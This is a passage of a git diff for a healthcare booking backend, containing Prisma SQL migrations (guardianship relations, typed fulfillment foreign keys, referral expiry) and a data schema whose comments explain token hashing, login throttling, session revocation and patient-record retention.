FOREIGN KEY ("userId") REFERENCES "User"("id") ON DELETE RESTRICT ON UPDATE CASCADE; - +-- DropForeignKey +ALTER TABLE "PatientProfile" DROP CONSTRAINT "PatientProfile_userId_fkey"; + +-- AlterTable +ALTER TABLE "PatientProfile" ADD COLUMN "anonymizedAt" TIMESTAMP(3); + +-- AlterTable +ALTER TABLE "User" ADD COLUMN "deletedAt" TIMESTAMP(3); + +-- AddForeignKey +ALTER TABLE "PatientProfile" ADD CONSTRAINT "PatientProfile_userId_fkey" FOREIGN KEY ("userId") REFERENCES "User"("id") ON DELETE RESTRICT ON UPDATE CASCADE; + diff --git a/backend/prisma/migrations/20261021130000_guardian_dependent_profiles/migration.sql b/backend/prisma/migrations/20261021130000_guardian_dependent_profiles/migration.sql index c6c7002d..41661bed 100644 --- a/backend/prisma/migrations/20261021130000_guardian_dependent_profiles/migration.sql +++ b/backend/prisma/migrations/20261021130000_guardian_dependent_profiles/migration.sql @@ -1,46 +1,46 @@ --- Phase 8, issue #42 (docs/adr/0011): replace the unenforced --- PatientProfile.guardianUserId string with a real Guardianship relation. --- --- Safety: no code ever wrote guardianUserId, so every row should be NULL. --- If any isn't, its meaning is unknown (the old field was explicitly --- "don't build on this"), so stop here and let an operator decide rather --- than silently dropping or reinterpreting it. -DO $$ -BEGIN - IF EXISTS (SELECT 1 FROM "PatientProfile" WHERE "guardianUserId" IS NOT NULL) THEN - RAISE EXCEPTION 'PatientProfile.guardianUserId has non-null values; resolve them before applying guardian_dependent_profiles (see docs/adr/0011).'; - END IF; -END $$; - --- AlterTable -ALTER TABLE "PatientProfile" DROP COLUMN "guardianUserId", -ALTER COLUMN "userId" DROP NOT NULL; - --- CreateTable -CREATE TABLE "Guardianship" ( - "id" TEXT NOT NULL, - "guardianUserId" TEXT NOT NULL, - "dependentProfileId" TEXT NOT NULL, - "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - "revokedAt" TIMESTAMP(3), - - CONSTRAINT "Guardianship_pkey" PRIMARY KEY ("id") -); - --- CreateIndex -CREATE INDEX "Guardianship_dependentProfileId_idx" ON "Guardianship"("dependentProfileId"); - --- CreateIndex -CREATE UNIQUE INDEX "Guardianship_guardianUserId_dependentProfileId_key" ON "Guardianship"("guardianUserId", "dependentProfileId"); - --- AddForeignKey -ALTER TABLE "Guardianship" ADD CONSTRAINT "Guardianship_guardianUserId_fkey" FOREIGN KEY ("guardianUserId") REFERENCES "User"("id") ON DELETE RESTRICT ON UPDATE CASCADE; - --- AddForeignKey -ALTER TABLE "Guardianship" ADD CONSTRAINT "Guardianship_dependentProfileId_fkey" FOREIGN KEY ("dependentProfileId") REFERENCES "PatientProfile"("id") ON DELETE RESTRICT ON UPDATE CASCADE; - --- A dependent (no login) must carry a date of birth: the age-of-majority --- rule that ends guardian access is computed from it. Profiles with a login --- are unaffected (dateOfBirth stays optional for them). -ALTER TABLE "PatientProfile" ADD CONSTRAINT "PatientProfile_dependent_has_dob" - CHECK ("userId" IS NOT NULL OR "dateOfBirth" IS NOT NULL); +-- Phase 8, issue #42 (docs/adr/0011): replace the unenforced +-- PatientProfile.guardianUserId string with a real Guardianship relation. +-- +-- Safety: no code ever wrote guardianUserId, so every row should be NULL. +-- If any isn't, its meaning is unknown (the old field was explicitly +-- "don't build on this"), so stop here and let an operator decide rather +-- than silently dropping or reinterpreting it. +DO $$ +BEGIN + IF EXISTS (SELECT 1 FROM "PatientProfile" WHERE "guardianUserId" IS NOT NULL) THEN + RAISE EXCEPTION 'PatientProfile.guardianUserId has non-null values; resolve them before applying guardian_dependent_profiles (see docs/adr/0011).'; + END IF; +END $$; + +-- AlterTable +ALTER TABLE "PatientProfile" DROP COLUMN "guardianUserId", +ALTER COLUMN "userId" DROP NOT NULL; + +-- CreateTable +CREATE TABLE "Guardianship" ( + "id" TEXT NOT NULL, + "guardianUserId" TEXT NOT NULL, + "dependentProfileId" TEXT NOT NULL, + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "revokedAt" TIMESTAMP(3), + + CONSTRAINT "Guardianship_pkey" PRIMARY KEY ("id") +); + +-- CreateIndex +CREATE INDEX "Guardianship_dependentProfileId_idx" ON "Guardianship"("dependentProfileId"); + +-- CreateIndex +CREATE UNIQUE INDEX "Guardianship_guardianUserId_dependentProfileId_key" ON "Guardianship"("guardianUserId", "dependentProfileId"); + +-- AddForeignKey +ALTER TABLE "Guardianship" ADD CONSTRAINT "Guardianship_guardianUserId_fkey" FOREIGN KEY ("guardianUserId") REFERENCES "User"("id") ON DELETE RESTRICT ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "Guardianship" ADD CONSTRAINT "Guardianship_dependentProfileId_fkey" FOREIGN KEY ("dependentProfileId") REFERENCES "PatientProfile"("id") ON DELETE RESTRICT ON UPDATE CASCADE; + +-- A dependent (no login) must carry a date of birth: the age-of-majority +-- rule that ends guardian access is computed from it. Profiles with a login +-- are unaffected (dateOfBirth stays optional for them). +ALTER TABLE "PatientProfile" ADD CONSTRAINT "PatientProfile_dependent_has_dob" + CHECK ("userId" IS NOT NULL OR "dateOfBirth" IS NOT NULL); diff --git a/backend/prisma/migrations/20261022090000_fulfillment_record_typed_order_fks/migration.sql b/backend/prisma/migrations/20261022090000_fulfillment_record_typed_order_fks/migration.sql index a48dbe4a..e06695f2 100644 --- a/backend/prisma/migrations/20261022090000_fulfillment_record_typed_order_fks/migration.sql +++ b/backend/prisma/migrations/20261022090000_fulfillment_record_typed_order_fks/migration.sql @@ -1,36 +1,36 @@ --- Issue #13 (docs/adr/0012): FulfillmentRecord stops being polymorphic. --- The Phase 0 (orderType, orderId) TEXT pair carried no referential integrity --- at all, which is what ARCHITECTURE.md Β§6.1.3 flagged. Both are replaced by --- real FKs with a CHECK requiring exactly one β€” the same discriminator --- mechanism PaymentIntent got in issue #85 β€” and Β§4.7's TODO facility column --- becomes a real FK to FacilityProfile. - --- No code path in backend/src ever wrote this table, and an unvalidated --- (orderType, orderId) pair cannot be reinterpreted as a typed reference, --- so abort instead of guessing (same posture as #9's placeholder guard). -DO $$ BEGIN - IF EXISTS (SELECT 1 FROM "FulfillmentRecord") THEN - RAISE EXCEPTION 'Issue #13 migration requires placeholder FulfillmentRecord rows to be reviewed before migration'; - END IF; -END $$; - -ALTER TABLE "FulfillmentRecord" DROP COLUMN "orderType", DROP COLUMN "orderId"; -ALTER TABLE "FulfillmentRecord" - ADD COLUMN "prescriptionId" TEXT, - ADD COLUMN "labOrderId" TEXT, - ADD COLUMN "facilityId" TEXT NOT NULL; - --- One fulfillment row per order, ever: Postgres keeps NULLs in a unique --- index, so each column allows at most one non-null occurrence. -CREATE UNIQUE INDEX "FulfillmentRecord_prescriptionId_key" ON "FulfillmentRecord"("prescriptionId"); -CREATE UNIQUE INDEX "FulfillmentRecord_labOrderId_key" ON "FulfillmentRecord"("labOrderId"); --- The facility's assigned-orders queue (Β§5.3) filters its own rows by status. -CREATE INDEX "FulfillmentRecord_facilityId_status_idx" ON "FulfillmentRecord"("facilityId", "status"); - -ALTER TABLE "FulfillmentRecord" ADD CONSTRAINT "FulfillmentRecord_exactly_one_order_check" - CHECK (("prescriptionId" IS NOT NULL) <> ("labOrderId" IS NOT NULL)); --- RESTRICT everywhere: neither deleting an order nor deleting a facility --- account may erase the fulfillment trail (docs/adr/0010's retention rule). -ALTER TABLE "FulfillmentRecord" ADD CONSTRAINT "FulfillmentRecord_prescriptionId_fkey" FOREIGN KEY ("prescriptionId") REFERENCES "Prescription"("id") ON DELETE RESTRICT ON UPDATE CASCADE; -ALTER TABLE "FulfillmentRecord" ADD CONSTRAINT "FulfillmentRecord_labOrderId_fkey" FOREIGN KEY ("labOrderId") REFERENCES "LabOrder"("id") ON DELETE RESTRICT ON UPDATE CASCADE; -ALTER TABLE "FulfillmentRecord" ADD CONSTRAINT "FulfillmentRecord_facilityId_fkey" FOREIGN KEY ("facilityId") REFERENCES "FacilityProfile"("id") ON DELETE RESTRICT ON UPDATE CASCADE; +-- Issue #13 (docs/adr/0012): FulfillmentRecord stops being polymorphic. +-- The Phase 0 (orderType, orderId) TEXT pair carried no referential integrity +-- at all, which is what ARCHITECTURE.md Β§6.1.3 flagged. Both are replaced by +-- real FKs with a CHECK requiring exactly one β€” the same discriminator +-- mechanism PaymentIntent got in issue #85 β€” and Β§4.7's TODO facility column +-- becomes a real FK to FacilityProfile. + +-- No code path in backend/src ever wrote this table, and an unvalidated +-- (orderType, orderId) pair cannot be reinterpreted as a typed reference, +-- so abort instead of guessing (same posture as #9's placeholder guard). +DO $$ BEGIN + IF EXISTS (SELECT 1 FROM "FulfillmentRecord") THEN + RAISE EXCEPTION 'Issue #13 migration requires placeholder FulfillmentRecord rows to be reviewed before migration'; + END IF; +END $$; + +ALTER TABLE "FulfillmentRecord" DROP COLUMN "orderType", DROP COLUMN "orderId"; +ALTER TABLE "FulfillmentRecord" + ADD COLUMN "prescriptionId" TEXT, + ADD COLUMN "labOrderId" TEXT, + ADD COLUMN "facilityId" TEXT NOT NULL; + +-- One fulfillment row per order, ever: Postgres keeps NULLs in a unique +-- index, so each column allows at most one non-null occurrence. +CREATE UNIQUE INDEX "FulfillmentRecord_prescriptionId_key" ON "FulfillmentRecord"("prescriptionId"); +CREATE UNIQUE INDEX "FulfillmentRecord_labOrderId_key" ON "FulfillmentRecord"("labOrderId"); +-- The facility's assigned-orders queue (Β§5.3) filters its own rows by status. +CREATE INDEX "FulfillmentRecord_facilityId_status_idx" ON "FulfillmentRecord"("facilityId", "status"); + +ALTER TABLE "FulfillmentRecord" ADD CONSTRAINT "FulfillmentRecord_exactly_one_order_check" + CHECK (("prescriptionId" IS NOT NULL) <> ("labOrderId" IS NOT NULL)); +-- RESTRICT everywhere: neither deleting an order nor deleting a facility +-- account may erase the fulfillment trail (docs/adr/0010's retention rule). +ALTER TABLE "FulfillmentRecord" ADD CONSTRAINT "FulfillmentRecord_prescriptionId_fkey" FOREIGN KEY ("prescriptionId") REFERENCES "Prescription"("id") ON DELETE RESTRICT ON UPDATE CASCADE; +ALTER TABLE "FulfillmentRecord" ADD CONSTRAINT "FulfillmentRecord_labOrderId_fkey" FOREIGN KEY ("labOrderId") REFERENCES "LabOrder"("id") ON DELETE RESTRICT ON UPDATE CASCADE; +ALTER TABLE "FulfillmentRecord" ADD CONSTRAINT "FulfillmentRecord_facilityId_fkey" FOREIGN KEY ("facilityId") REFERENCES "FacilityProfile"("id") ON DELETE RESTRICT ON UPDATE CASCADE; diff --git a/backend/prisma/migrations/20261022090000_referral_expiry/migration.sql b/backend/prisma/migrations/20261022090000_referral_expiry/migration.sql index 6a49bd19..2f7590cc 100644 --- a/backend/prisma/migrations/20261022090000_referral_expiry/migration.sql +++ b/backend/prisma/migrations/20261022090000_referral_expiry/migration.sql @@ -1,16 +1,16 @@ --- Referral expiry job (issue #8). Records when and why a referral expired so --- a time-based expiry ("ttl") is distinguishable from the no-show cascade --- ("no_show") and from `declined`/`cancelled`. - --- CreateEnum -CREATE TYPE "ReferralExpiryReason" AS ENUM ('ttl', 'no_show'); - --- AlterTable -ALTER TABLE "Referral" ADD COLUMN "expiredAt" TIMESTAMP(3), -ADD COLUMN "expiredReason" "ReferralExpiryReason"; - --- CreateIndex -CREATE INDEX "Referral_status_updatedAt_idx" ON "Referral"("status", "updatedAt"); - --- Backfill: until now the only path to `expired` was the no-show cascade. -UPDATE "Referral" SET "expiredAt" = "updatedAt", "expiredReason" = 'no_show' WHERE "status" = 'expired'; +-- Referral expiry job (issue #8). Records when and why a referral expired so +-- a time-based expiry ("ttl") is distinguishable from the no-show cascade +-- ("no_show") and from `declined`/`cancelled`. + +-- CreateEnum +CREATE TYPE "ReferralExpiryReason" AS ENUM ('ttl', 'no_show'); + +-- AlterTable +ALTER TABLE "Referral" ADD COLUMN "expiredAt" TIMESTAMP(3), +ADD COLUMN "expiredReason" "ReferralExpiryReason"; + +-- CreateIndex +CREATE INDEX "Referral_status_updatedAt_idx" ON "Referral"("status", "updatedAt"); + +-- Backfill: until now the only path to `expired` was the no-show cascade. +UPDATE "Referral" SET "expiredAt" = "updatedAt", "expiredReason" = 'no_show' WHERE "status" = 'expired'; diff --git a/backend/prisma/schema.prisma b/backend/prisma/schema.prisma index 2e4f8999..c4640646 100644 --- a/backend/prisma/schema.prisma +++ b/backend/prisma/schema.prisma @@ -1,1189 +1,1189 @@ -// schema.prisma β€” DocForum canonical data model -// SOURCE OF TRUTH: if this file and ARCHITECTURE.md Β§4 disagree, fix ARCHITECTURE.md -// to match this file (or vice versa) in the same PR β€” see AGENTS.md. -// -// STATUS: Phase 1 models (User/PatientProfile/DoctorProfile/FacilityProfile/ -// Specialty/DoctorSpecialty/FacilityCapability/AvailabilitySlot/Appointment) -// are fleshed out and migrated. Everything below the Phase 1 marker is still -// the Phase 0 structural placeholder β€” see ROADMAP.md. - -generator client { - provider = "prisma-client-js" -} - -// Phase 8, issue #47: Prisma 7 no longer accepts `url` in the datasource -// block β€” the connection is configured in prisma.config.ts (for the CLI: -// migrate/generate/diff) and passed to PrismaClient as a driver adapter at -// runtime (see src/db/prisma-client.ts). -datasource db { - provider = "postgresql" -} - -enum Role { - patient - doctor - facility - admin -} - -enum VerificationStatus { - pending - verified - rejected -} - -enum FacilityType { - lab - pharmacy -} - -enum CapabilityType { - lab_test - medication_dispense -} - -enum SlotStatus { - open - held - booked -} - -enum AppointmentStatus { - scheduled - completed - cancelled - no_show -} - -enum AppointmentOrigin { - direct_booking - referral -} - -enum ConsultationOutcome { - resolved - referred - follow_up_needed -} - -enum ReferralStatus { - pending - accepted - declined - completed - expired - // Admin-initiated termination (issue #68) β€” distinct from `expired` - // (the cascade gave up after repeated no-shows) and `declined` (the - // patient said no) so audit/metrics can tell the three exits apart. - cancelled -} - -// Why a referral reached the terminal `expired` state. Kept separate from -// `status` so `expired` stays one state (and stays distinct from `declined` -// and `cancelled`) while audit/metrics/notifications can still tell the two -// ways in apart: `ttl` = nobody accepted/declined it in time (issue #8), -// `no_show` = the cascade gave up after repeated no-shows (issue #67). -enum ReferralExpiryReason { - ttl - no_show -} - -enum OrderStatus { - issued - fulfilled - expired - superseded -} - -enum OrderType { - pharmacy - lab -} - -enum DisputeStatus { - pending - resolved -} - -enum FulfillmentStatus { - pending - in_progress - fulfilled - rejected -} - -enum Urgency { - routine - urgent -} - -// ========================================================================= -// Phase 1 models β€” identity, DB, safe booking foundation. See ROADMAP.md. -// ========================================================================= - -model User { - id String @id @default(uuid()) - email String @unique - phone String? - passwordHash String - role Role - // Phase 8 (issue #34): null = never verified. Self-serve signup leaves - // this null; existing rows were backfilled to `createdAt` in the - // add_email_verification migration. Distinct from - // DoctorProfile.verificationStatus, which is the separate, manual - // admin verification of a doctor's credentials β€” do not conflate. - emailVerifiedAt DateTime? - // Phase 9, issue #133: server-generated text preference. Values are - // normalized to a supported language tag at signup; unsupported tags - // fall back to English. - locale String @default("en") - // Phase 8 (issue #39): null = active. Deactivating never deletes anything - // β€” no clinical or payment record is keyed to this flag, and none of the - // deactivation paths remove rows. Login, refresh and access tokens are all - // refused while this is set. - deactivatedAt DateTime? - // Phase 8 (issue #39): bumped when an account is deactivated/reactivated, - // so access tokens minted before that moment stop working immediately - // instead of living out their 15-minute TTL. There is still no general - // refresh-token revocation list (issue #18) β€” this is the narrow "revoke - // everything for one account" case that deactivation needs. - sessionsInvalidatedAt DateTime? - // Per-user refresh-token version. Embedded in every access/refresh token - // as `tv` and compared against this column at refresh time. Bumping it - // (password reset, Phase 8 #33) invalidates every outstanding refresh - // token for the user, since none of them carry the new value β€” the - // interim kill switch issue #33 asked for while #18 doesn't exist yet. - tokenVersion Int @default(0) - // Phase 8 (issue #41, docs/adr/0010): set once, irreversibly, when the - // account is deleted. The row is anonymised in place (email tombstoned, - // phone cleared, password unusable) rather than deleted, because clinical - // and payment records still reference its patient profile. Refresh is - // refused once set. Distinct from admin deactivation (#39), which is - // reversible. - deletedAt DateTime? - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - patientProfile PatientProfile? - doctorProfile DoctorProfile? - facilityProfile FacilityProfile? - refreshSessions RefreshSession[] - - emailVerificationTokens EmailVerificationToken[] - passwordResetTokens PasswordResetToken[] - adminInvitesSent AdminInvite[] - // Phase 8 (issue #45): PHI read-access log rows this user wrote (as viewer). - // Opposite of AccessLog.accessedByUser. - accessLogs AccessLog[] - // Phase 8 (issue #42, docs/adr/0011): dependents this user is guardian of. - guardianships Guardianship[] - orderDisputeResolutions OrderDisputeResolution[] - sep10Challenges Sep10Challenge[] - - @@index([role]) -} - -// Phase 8 (issue #34): hashed, single-use, expiring email-verification -// tokens. Only the SHA-256 hash is persisted β€” a database leak must not -// hand out working verification links. One row per issued token so a -// resend can be rate-limited against the most recent `createdAt`. -model EmailVerificationToken { - id String @id @default(uuid()) - userId String - tokenHash String @unique - expiresAt DateTime - consumedAt DateTime? - createdAt DateTime @default(now()) - - user User @relation(fields: [userId], references: [id], onDelete: Cascade) - - @@index([userId]) -} - -// Password reset tokens (Phase 8 #33). Only the SHA-256 hash of the -// token is ever stored β€” the raw token exists exactly once, in the -// notification that carries the reset link, and is never logged or -// persisted. Single-use (`usedAt`) and expiring (`expiresAt`). -model PasswordResetToken { - id String @id @default(uuid()) - userId String - user User @relation(fields: [userId], references: [id], onDelete: Cascade) - // SHA-256 hex of the raw token. Unique so lookup-by-hash is a single - // indexed read, and a duplicate hash (astronomically unlikely) is a - // constraint violation rather than a silent overwrite. - tokenHash String @unique - expiresAt DateTime - // Non-null once used or superseded by a newer request β€” either way the - // token is dead. Requesting a second reset marks the first one used. - usedAt DateTime? - createdAt DateTime @default(now()) - - @@index([userId]) -} - -model AdminInvite { - id String @id @default(uuid()) - email String - tokenHash String @unique - expiresAt DateTime - consumedAt DateTime? - invitedByUserId String - createdAt DateTime @default(now()) - - invitedBy User @relation(fields: [invitedByUserId], references: [id], onDelete: Cascade) - - @@index([email]) -} - -// Phase 8 (issue #35): login-throttle state. Deliberately in Postgres and -// not in process memory β€” the backend runs as a single Render instance -// today but must not assume that forever, and a restart must not hand an -// attacker a fresh budget. One row per (scope, key) bucket, where scope is -// `email` (normalised address) or `ip` (client IP, after the proxy chain is -// resolved β€” see TRUST_PROXY in src/config/index.ts). -// -// Counters are only ever moved by a single conditional upsert (see -// auth/repositories `recordFailedLoginAttempt`), never read-then-write: two -// concurrent bad logins for the same account must both be counted. -model LoginAttempt { - id String @id @default(uuid()) - scope String // 'email' | 'ip' - key String // normalised email, or client IP - failedCount Int @default(0) - // Start of the current sliding window; a failure outside the window - // restarts the count at 1 instead of accumulating forever. - windowStart DateTime @default(now()) - lastFailedAt DateTime @default(now()) - // Set once this bucket has hit the lock threshold; cleared by a - // successful login, an admin clear, or the start of a new window. - lockUntil DateTime? - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - @@unique([scope, key]) - @@index([lastFailedAt]) -} - -// One row per refresh-token *family*, i.e. per login. This is the -// revocation store session management needs (Phase 8 #38) and the shape -// issue #18's refresh-token revocation wanted: the refresh JWT carries -// `sid`, and a refresh is only honoured while the row exists with -// `revokedAt` still null. -// -// Collecting a coarse IP and user agent here is deliberate β€” it is what -// makes "sign out that other device" usable. Nothing clinical or -// identifying beyond what the request itself already carried. -model RefreshSession { - id String @id @default(uuid()) - userId String - user User @relation(fields: [userId], references: [id], onDelete: Cascade) - - createdAt DateTime @default(now()) - // Updated on refresh only β€” never on every access-token-authenticated - // request, so this doesn't become a write hot-spot on the User row. - lastUsedAt DateTime @default(now()) - revokedAt DateTime? - - userAgent String? - ip String? - - @@index([userId]) - @@index([userId, revokedAt]) -} - -model PatientProfile { - id String @id @default(uuid()) - // Null for a dependent (Phase 8, issue #42, docs/adr/0011): a - // guardian-owned profile with no login of its own. Still unique, so a - // login owns at most one profile. A DB CHECK (see the - // guardian_dependent_profiles migration) requires dateOfBirth whenever - // userId is null β€” the age-of-majority rule depends on it. - userId String? @unique - fullName String - dateOfBirth DateTime? - // Phase 8 (issue #41, docs/adr/0010): set when the owner deleted their - // account. fullName/dateOfBirth are anonymised at the same moment; the row - // itself stays so appointments and payments keep their foreign key. - // getMyPatientProfile refuses an anonymised profile. - anonymizedAt DateTime? - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - // RESTRICT, not CASCADE (issue #41): a patient's User row is never - // hard-deleted while this profile exists β€” deletion is anonymisation - // (ADR 0010), and an accidental user delete must fail loudly rather than - // take the clinical identity anchor with it. Optional since issue #42: a - // dependent profile has no login. - user User? @relation(fields: [userId], references: [id], onDelete: Restrict) - appointments Appointment[] - paymentIntents PaymentIntent[] - prescriptions Prescription[] - labOrders LabOrder[] - dataExports PatientExport[] - // Phase 3: the referrals this patient is the subject of (the opposite - // side of Referral.patientProfileId). - referrals Referral[] - // ADR 0005 step 1 (issue #80): the patient's verified Stellar payer - // address, when one has been linked. Optional because linking is a - // separate flow that nothing creates rows for yet. - walletLink PatientWalletLink? - - // Phase 8 (issue #45): who viewed this patient's records. - accessLogs AccessLog[] - - // Phase 8 (issue #42, docs/adr/0011): guardians of this (dependent) profile. - guardians Guardianship[] - orders Order[] - orderDisputes OrderDispute[] -} - -// Phase 8 (issue #40): right-of-access export jobs. One row per request; -// the generated bundle itself lives in PatientExportChunk (below), not in -// this row. Lifecycle: pending -> processing -> ready -> expired, or -// -> failed. A job only moves forward through conditional UPDATEs -// (`WHERE status = ...`), the same shape as the booking guarantee, so two -// workers can never both generate one export. -enum PatientExportStatus { - pending - processing - ready - failed - expired -} - -model PatientExport { - id String @id @default(uuid()) - // The owner. Every read is scoped by this, never by the export id alone. - patientProfileId String - status PatientExportStatus @default(pending) - // Bundle format version actually written (set when generation starts). - schemaVersion Int? - // Fencing token: incremented on every claim. Chunks are keyed by it, and - // the final `ready` transition is conditional on it, so a worker whose - // claim went stale can never publish a half-written or superseded bundle. - attempt Int @default(0) - startedAt DateTime? - generatedAt DateTime? - // Set when the job becomes `ready`; downloads are refused at or after it - // even if the cleanup job hasn't run yet. - expiresAt DateTime? - sizeBytes Int? - // How many chunks the published attempt wrote. A download that finds - // fewer (cleanup ran mid-stream) aborts instead of handing out a - // silently truncated JSON document. - chunkCount Int? - // Machine-readable failure only (e.g. SECTION_FAILED + section name) β€” - // never an exception message, which could echo patient data. - failureCode String? - failedSection String? - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id], onDelete: Cascade) - chunks PatientExportChunk[] - - @@index([patientProfileId, createdAt]) - @@index([status, expiresAt]) -} - -// The export bundle, stored as ordered text chunks of one JSON document -// (issue #40). Written incrementally while sections are paged, read back -// one chunk at a time on download, so neither side ever holds a whole -// patient history in memory. Kept in Postgres rather than object storage -// because no object-storage provider is integrated yet (ARCHITECTURE.md Β§2 -// and Β§6.3.4) β€” only patients/repositories reads or writes it, so moving to -// S3 later replaces that storage seam, not the export design. -model PatientExportChunk { - exportId String - attempt Int - seq Int - data String - - export PatientExport @relation(fields: [exportId], references: [id], onDelete: Cascade) - - @@id([exportId, attempt, seq]) -} - -// Phase 8 (issue #42, docs/adr/0011): replaces the unenforced -// PatientProfile.guardianUserId string. A guardian (a patient User) owns a -// dependent PatientProfile they created; there is deliberately no way to -// link an existing profile. Active = revokedAt is null AND the dependent is -// under AGE_OF_MAJORITY_YEARS (checked at request time from the DOB β€” no -// job flips anything). Never deleted: ending a guardianship sets revokedAt, -// so who had access, and when, stays on record. -model Guardianship { - id String @id @default(uuid()) - guardianUserId String - dependentProfileId String - createdAt DateTime @default(now()) - revokedAt DateTime? - - guardian User @relation(fields: [guardianUserId], references: [id], onDelete: Restrict) - dependentProfile PatientProfile @relation(fields: [dependentProfileId], references: [id], onDelete: Restrict) - - // One row per (guardian, dependent) pair β€” no duplicate or ambiguous - // relationships. More than one guardian per dependent is allowed by the - // model (two parents), though v1's API only creates one. - @@unique([guardianUserId, dependentProfileId]) - @@index([dependentProfileId]) -} - -model DoctorProfile { - id String @id @default(uuid()) - userId String @unique - fullName String - verificationStatus VerificationStatus @default(pending) - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - user User @relation(fields: [userId], references: [id], onDelete: Cascade) - specialties DoctorSpecialty[] - availabilitySlots AvailabilitySlot[] - appointments Appointment[] - prescriptions Prescription[] - labOrders LabOrder[] - // Referral sides a doctor can sit on: `referringReferrals` are ones - // they created; `targetedReferrals` are ones aimed at them (whether - // they ultimately see the patient or not). - referringReferrals Referral[] @relation("ReferralReferringDoctor") - targetedReferrals Referral[] @relation("ReferralTargetDoctor") - - @@index([verificationStatus]) -} - -model Specialty { - id String @id @default(uuid()) - name String @unique - slug String @unique - - doctors DoctorSpecialty[] -} - -model DoctorSpecialty { - id String @id @default(uuid()) - doctorProfileId String - specialtyId String - - doctorProfile DoctorProfile @relation(fields: [doctorProfileId], references: [id], onDelete: Cascade) - specialty Specialty @relation(fields: [specialtyId], references: [id], onDelete: Cascade) - - @@unique([doctorProfileId, specialtyId]) -} - -model FacilityProfile { - id String @id @default(uuid()) - userId String @unique - name String - type FacilityType - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - user User @relation(fields: [userId], references: [id], onDelete: Cascade) - capabilities FacilityCapability[] - prescriptions Prescription[] - labOrders LabOrder[] - labResults LabResult[] - paymentIntents PaymentIntent[] - fulfillments FulfillmentRecord[] - walletLink WalletLink? - prices FacilityPrice[] - orders Order[] - fulfillmentProofs FulfillmentProof[] -} - -model FacilityCapability { - id String @id @default(uuid()) - facilityProfileId String - capabilityType CapabilityType - // e.g. a lab test category, or a medication class β€” free text on purpose, - // no controlled vocabulary decided yet (out of Phase 1 scope). - detail String? - - facilityProfile FacilityProfile @relation(fields: [facilityProfileId], references: [id], onDelete: Cascade) - - @@unique([facilityProfileId, capabilityType, detail]) -} - -/// Versioned facility price list (issue #127). Rows are append-only: changing -/// a price inserts a new row with a later `effectiveFrom`, so history is kept -/// and an intent priced earlier keeps resolving against what was in force at -/// its selection time. Amounts are stroops (BigInt) like PaymentIntent. -/// -/// `catalogItemCode` is deliberately an open vocabulary (a lab test or -/// medication code the facility publishes), matching FacilityCapability.detail -/// β€” no controlled vocabulary has been decided yet. -model FacilityPrice { - id String @id @default(uuid()) - facilityId String - facility FacilityProfile @relation(fields: [facilityId], references: [id], onDelete: Cascade) - catalogItemCode String - // Stellar asset the price is denominated in. v1 quotes native XLM - // ('native'); the column exists so a price list can add assets without a - // schema change when multi-asset payments land. - asset String - amount BigInt - effectiveFrom DateTime - createdAt DateTime @default(now()) - - // Two versions of the same item/asset cannot share an effective instant. - @@unique([facilityId, catalogItemCode, asset, effectiveFrom]) - @@index([facilityId, catalogItemCode, asset, effectiveFrom]) - @@index([catalogItemCode, asset, effectiveFrom]) -} - -model AvailabilitySlot { - id String @id @default(uuid()) - doctorProfileId String - status SlotStatus @default(open) - startTime DateTime - endTime DateTime - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - doctorProfile DoctorProfile @relation(fields: [doctorProfileId], references: [id], onDelete: Cascade) - appointment Appointment? - - // Prevents two slot ROWS for the same doctor/time range (duplicate - // generation). This is NOT what prevents double-BOOKING of one slot by - // two patients β€” that's the conditional `UPDATE ... WHERE status = - // 'open'` in availability/services, inside a transaction. See - // ARCHITECTURE.md Β§5.1 and the integration test in - // backend/tests/integration/booking.test.ts. - @@unique([doctorProfileId, startTime, endTime]) - @@index([doctorProfileId, status]) -} - -model Appointment { - id String @id @default(uuid()) - patientProfileId String - doctorProfileId String - // Nullable because a CANCELLED appointment releases its slot back to - // `open` (referral cascade / patient cancel) β€” the appointment keeps its - // history row but must stop holding the unique claim on the slot, or - // re-booking the freed slot would violate the unique constraint. - // The booking guarantee itself is unchanged: claimOpenSlot's - // conditional UPDATE on SlotStatus is what prevents double-booking. - availabilitySlotId String? @unique - status AppointmentStatus @default(scheduled) - origin AppointmentOrigin @default(direct_booking) - // Set when this appointment was produced by accepting a Referral (issue - // #7). The cascade rules (#67 / PRD Β§8.2.3) react to status transitions - // on exactly these appointments. NOT unique: one referral can produce - // several appointments over its life (re-booking after a cancellation). - // Referral.resultingAppointmentId is the unique "current" pointer. - referralId String? - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - // Explicit RESTRICT (was the Prisma default β€” same SQL): an appointment is - // a clinical record and must outlive any account deletion (ADR 0010). - patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id], onDelete: Restrict) - doctorProfile DoctorProfile @relation(fields: [doctorProfileId], references: [id]) - availabilitySlot AvailabilitySlot? @relation(fields: [availabilitySlotId], references: [id]) - referral Referral? @relation("ReferralOriginatedAppointments", fields: [referralId], references: [id]) - // Non-owning side of Referral.resultingAppointmentId (the FK lives on - // Referral) β€” which referral currently points at this appointment as - // the one it produced. - referralResultOf Referral? @relation("ReferralResultingAppointment") - // Phase 2 (issue #4): the appointment's consultation. 1:1 β€” the uniqueness - // is Consultation.appointmentId UNIQUE (docs/adr/0009), so this side is a - // plain back-relation. - consultation Consultation? - - // TODO Phase 2: intakeId (FK -> IntakeForm). PRD FR-5 requires intake - // before confirmation, not enforced yet β€” booking works without it in - // Phase 1 so the concurrency-safety work isn't blocked on IntakeForm - // existing. Flagged, not silently dropped. -} - -// ========================================================================= -model AccessLog { - id String @id @default(uuid()) - // Who viewed. SetNull on user delete keeps the log row (timestamp + - // entity remain) while removing the PII pointer. - accessedBy String? - // Which patient's records were viewed (the record owner, not the viewer). - patientProfileId String? - // Entity that was read: 'IntakeForm' | 'Consultation' | 'Prescription' | - // 'LabOrder' | 'LabResult' | 'Referral' | 'PaymentIntent' | 'PatientProfile' - entityType String - entityId String - 